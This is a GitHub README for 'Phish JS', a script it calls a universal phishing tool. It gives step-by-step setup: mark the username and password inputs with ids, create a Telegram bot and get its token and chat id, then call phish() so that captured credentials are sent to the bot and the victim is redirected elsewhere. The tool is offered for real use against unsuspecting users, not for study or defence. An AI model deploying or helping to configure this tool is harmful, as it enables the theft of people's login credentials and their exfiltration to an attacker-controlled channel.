Skip to content

Latest commit

 

History

History
68 lines (48 loc) · 1.86 KB

README.md

File metadata and controls

68 lines (48 loc) · 1.86 KB

logo

Phish JS

Universal phishing script + Telegram bot notification

Privatium Github Privatium


Documentation

1. Download files or clone

2. Put "phish.min.js" file to your project

3. Import "phish.min.js"

<script src="phish.min.js"></script>

4. Import "JQuery"

Via CDN is the quickest and easiest way to get JQuery on your website.

<script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="sha256-pasqAKBDmFT4eHoN2ndd6lN370kFiGUFyTiUHWhU7k8=" crossorigin="anonymous"></script>

5. Set ids to inputs and button

<input type="text" id='username'>
<input type="password" id='password'>

<button type="button" id='submit-button'>Login</button>

6. Get TOKEN and CHAT_ID

    1. Create bot with @BotFather and copy bot TOKEN
    1. Open your bot and type /start
    1. Get chat id here: https://api.telegram.org/bot<TOKEN>/getUpdates

7. Call function

<script>
    $(document).ready(function () {
        const BOT_TOKEN = 'your_bot_token',
            CHAT_ID = 'your_chat_id',
            REDIRECT_URL = 'default_redirect_url'
        phish(BOT_TOKEN, CHAT_ID, REDIRECT_URL);
    });
</script>

LICENSE

Phish JS is MIT licensed.